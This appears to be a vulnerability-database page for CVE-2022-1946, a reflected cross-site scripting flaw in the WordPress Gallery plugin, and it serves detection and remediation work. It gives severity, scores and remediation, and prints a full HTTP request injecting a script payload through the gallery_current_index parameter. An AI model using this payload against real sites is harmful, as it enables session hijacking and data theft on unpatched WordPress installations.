🔙 목록으로 돌아가기

CVE-2022-1946: WordPress Gallery <2.0.0 - Cross-Site Scripting

TitleWordPress Gallery <2.0.0 - Cross-Site Scripting
AuthorAkincibor
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
RemediationUpdate the WordPress Gallery plugin to version 2.0.0 or later to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.00862
CVE IDCVE-2022-1946
CWE IDCWE-79
Tags cve cve2022 wpscan wp xss wordpress gallery unauth wp-plugin wpdevart vuln

🔍 Vulnerability Description

WordPress Gallery plugin before 2.0.0 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back in the response of an AJAX action, available to both unauthenticated and authenticated users.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=<script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1946.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1946.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A